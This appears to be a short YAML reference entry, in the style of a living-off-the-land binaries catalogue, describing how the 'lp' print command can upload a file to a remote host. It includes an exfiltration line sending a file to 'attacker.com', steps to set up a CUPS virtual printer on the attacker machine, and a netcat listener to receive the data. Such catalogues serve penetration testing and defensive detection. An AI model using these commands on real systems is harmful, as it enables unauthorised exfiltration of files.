Files

22 lines
640 B
Plaintext

---
functions:
upload:
- code: |-
lp /path/to/input-file -h attacker.com
comment: |-
This requires `cups` to be installed. Run the following on the attacker box beforehand:
1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;
2. `lpadmin -d printer` to set the new printer as default;
3. `cupsctl --remote-any` to enable printing from the Internet.
contexts:
sudo:
suid:
unprivileged:
receiver:
code: |-
nc -l -p 9100 >/path/to/output-file
comment: |-
A TCP server can be used on the attacker box to receive the data.
...